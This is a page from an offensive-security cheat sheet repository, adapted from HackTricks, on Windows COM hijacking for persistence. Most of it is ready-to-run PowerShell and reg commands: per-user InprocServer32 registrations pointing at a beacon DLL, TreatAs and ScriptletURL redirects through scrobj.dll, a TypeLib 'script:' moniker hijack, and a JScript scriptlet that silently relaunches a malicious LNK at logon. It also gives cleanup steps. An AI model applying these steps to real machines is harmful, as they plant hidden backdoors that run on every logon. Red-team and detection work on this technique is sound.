daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

com-hijacking.md (10360B)


      1 ---
      2 title: "COM Hijacking"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # COM Hijacking
     14 
     15 ### Searching non-existent COM components
     16 
     17 As the values of HKCU can be modified by the users **COM Hijacking** could be used as a **persistence mechanism**. Using `procmon` it's easy to find searched COM registries that don't exist yet and could be created by an attacker. Classic filters:
     18 
     19 - **RegOpenKey** operations.
     20 - where the _Result_ is **NAME NOT FOUND**.
     21 - and the _Path_ ends with **InprocServer32**.
     22 
     23 Useful variations during hunting:
     24 
     25 - Also look for missing **`LocalServer32`** keys. Some COM classes are out-of-process servers and will launch an attacker-controlled EXE instead of a DLL.
     26 - Search for **`TreatAs`** and **`ScriptletURL`** registry operations in addition to `InprocServer32`. Recent detection content and malware writeups keep calling these out because they are much rarer than normal COM registrations and therefore high-signal.
     27 - Copy the legitimate **`ThreadingModel`** from the original `HKLM\Software\Classes\CLSID\{CLSID}\InprocServer32` when cloning a registration into HKCU. Using the wrong model often breaks activation and makes the hijack noisy.<sup>[[3]](#references)</sup>
     28 - On 64-bit systems inspect both 64-bit and 32-bit views (`procmon.exe` vs `procmon64.exe`, `HKLM\Software\Classes` and `HKLM\Software\Classes\WOW6432Node`) because 32-bit applications may resolve a different COM registration.
     29 
     30 Once you have decided which non-existent COM to impersonate, execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._
     31 
     32 ```bash
     33 New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
     34 New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
     35 New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
     36 ```
     37 
     38 ### Hijackable Task Scheduler COM components
     39 
     40 Windows Tasks use Custom Triggers to call COM objects and because they're executed through the Task Scheduler, it's easier to predict when they're gonna be triggered.
     41 
     42 <pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
     43 $Tasks = Get-ScheduledTask
     44 
     45 foreach ($Task in $Tasks)
     46 {
     47   if ($Task.Actions.ClassId -ne $null)
     48   {
     49     if ($Task.Triggers.Enabled -eq $true)
     50     {
     51       $usersSid = "S-1-5-32-545"
     52       $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
     53 
     54       if ($Task.Principal.GroupId -eq $usersGroup)
     55       {
     56         Write-Host "Task Name: " $Task.TaskName
     57         Write-Host "Task Path: " $Task.TaskPath
     58         Write-Host "CLSID: " $Task.Actions.ClassId
     59         Write-Host
     60       }
     61     }
     62   }
     63 }
     64 
     65 # Sample Output:
     66 <strong># Task Name:  Example
     67 </strong># Task Path:  \Microsoft\Windows\Example\
     68 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
     69 # [more like the previous one...]</code></pre>
     70 
     71 Checking the output you can select one that is going to be executed **every time a user logs in** for example.
     72 
     73 Now searching for the CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU.
     74 
     75 ```bash
     76 # Exists in HKCR\CLSID\
     77 Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
     78 
     79 Name           Property
     80 ----           --------
     81 InprocServer32 (default)      : C:\Windows\system32\some.dll
     82                ThreadingModel : Both
     83 
     84 # Exists in HKLM
     85 Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
     86 
     87 Name                                   Property
     88 ----                                   --------
     89 {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
     90 
     91 # Doesn't exist in HKCU
     92 PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
     93 Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
     94 ```
     95 
     96 Then, you can just create the HKCU entry and every time the user logs in, your backdoor will be fired.
     97 
     98 ---
     99 
    100 ## COM TreatAs Hijacking + ScriptletURL
    101 
    102 `TreatAs` allows one CLSID to be emulated by another one.<sup>[[4]](#references)</sup> From an offensive perspective this means you can leave the original CLSID untouched, create a second per-user CLSID that points to `scrobj.dll`, and then redirect the real COM object to the malicious one with `HKCU\Software\Classes\CLSID\{Victim}\TreatAs`.
    103 
    104 This is useful when:
    105 
    106 - the target application already instantiates a stable CLSID at logon or on app start
    107 - you want a registry-only redirect instead of replacing the original `InprocServer32`
    108 - you want to execute a local or remote `.sct` scriptlet through the `ScriptletURL` value
    109 
    110 Example workflow (adapted from public Atomic Red Team tradecraft and older COM registry abuse research):
    111 
    112 ```batch
    113 :: 1. Create a malicious per-user COM class backed by scrobj.dll
    114 reg add "HKCU\Software\Classes\AtomicTest" /ve /t REG_SZ /d "AtomicTest" /f
    115 reg add "HKCU\Software\Classes\AtomicTest\CLSID" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
    116 reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /ve /t REG_SZ /d "AtomicTest" /f
    117 reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\System32\scrobj.dll" /f
    118 reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
    119 reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL" /ve /t REG_SZ /d "file:///C:/ProgramData/atomic.sct" /f
    120 
    121 :: 2. Redirect a high-frequency CLSID to the malicious class
    122 reg add "HKCU\Software\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
    123 ```
    124 
    125 Notes:
    126 
    127 - `scrobj.dll` reads the `ScriptletURL` value and executes the referenced `.sct`, so you can keep the payload as a local file or pull it remotely over HTTP/HTTPS.
    128 - `TreatAs` is especially handy when the original COM registration is complete and stable in HKLM, because you only need a small per-user redirect instead of mirroring the entire tree.
    129 - For validation without waiting on the natural trigger, you can instantiate the fake ProgID/CLSID manually with `rundll32.exe -sta <ProgID-or-CLSID>` if the target class supports STA activation.
    130 
    131 ## COM TypeLib Hijacking (script: moniker persistence)
    132 
    133 Type Libraries (TypeLib) define COM interfaces and are loaded via `LoadTypeLib()`. When a COM server is instantiated, the OS may also load the associated TypeLib by consulting registry keys under `HKCR\TypeLib\{LIBID}`. If the TypeLib path is replaced with a **moniker**, e.g. `script:C:\...\evil.sct`, Windows will execute the scriptlet when the TypeLib is resolved – yielding a stealthy persistence that triggers when common components are touched.
    134 
    135 This has been observed against the Microsoft Web Browser control (frequently loaded by Internet Explorer, apps embedding WebBrowser, and even `explorer.exe`).<sup>[[1]](#references)[[2]](#references)</sup>
    136 
    137 ### Steps (PowerShell)
    138 
    139 1) Identify the TypeLib (LIBID) used by a high-frequency CLSID. Example CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
    140 
    141 ```powershell
    142 $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
    143 $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
    144 $ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
    145 "CLSID=$clsid  LIBID=$libid  VER=$ver"
    146 ```
    147 
    148 2) Point the per-user TypeLib path to a local scriptlet using the `script:` moniker (no admin rights required):
    149 
    150 ```powershell
    151 $dest = 'C:\\ProgramData\\Udate_Srv.sct'
    152 New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
    153 Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
    154 ```
    155 
    156 3) Drop a minimal JScript `.sct` that relaunches your primary payload (e.g. a `.lnk` used by the initial chain):
    157 
    158 ```xml
    159 <?xml version="1.0"?>
    160 <scriptlet>
    161   <registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
    162   <script language="JScript">
    163     <![CDATA[
    164       try {
    165         var sh = new ActiveXObject('WScript.Shell');
    166         // Re-launch the malicious LNK for persistence
    167         var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
    168         sh.Run(cmd, 0, false);
    169       } catch(e) {}
    170     ]]>
    171   </script>
    172 </scriptlet>
    173 ```
    174 
    175 4) Triggering – opening IE, an application that embeds the WebBrowser control, or even routine Explorer activity will load the TypeLib and execute the scriptlet, re-arming your chain on logon/reboot.
    176 
    177 Cleanup
    178 ```powershell
    179 # Remove the per-user TypeLib hijack
    180 Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
    181 # Delete the dropped scriptlet
    182 Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
    183 ```
    184 
    185 Notes
    186 - You can apply the same logic to other high-frequency COM components; always resolve the real `LIBID` from `HKCR\CLSID\{CLSID}\TypeLib` first.
    187 - On 64-bit systems you may also populate the `win64` subkey for 64-bit consumers.
    188 
    189 ## References
    190 
    191 - [1] [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
    192 - [2] [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
    193 - [3] [Revisiting COM Hijacking (SpecterOps)](https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/)
    194 - [4] [CLSID Key (Microsoft Learn)](https://learn.microsoft.com/en-us/windows/win32/com/clsid-key-hklm)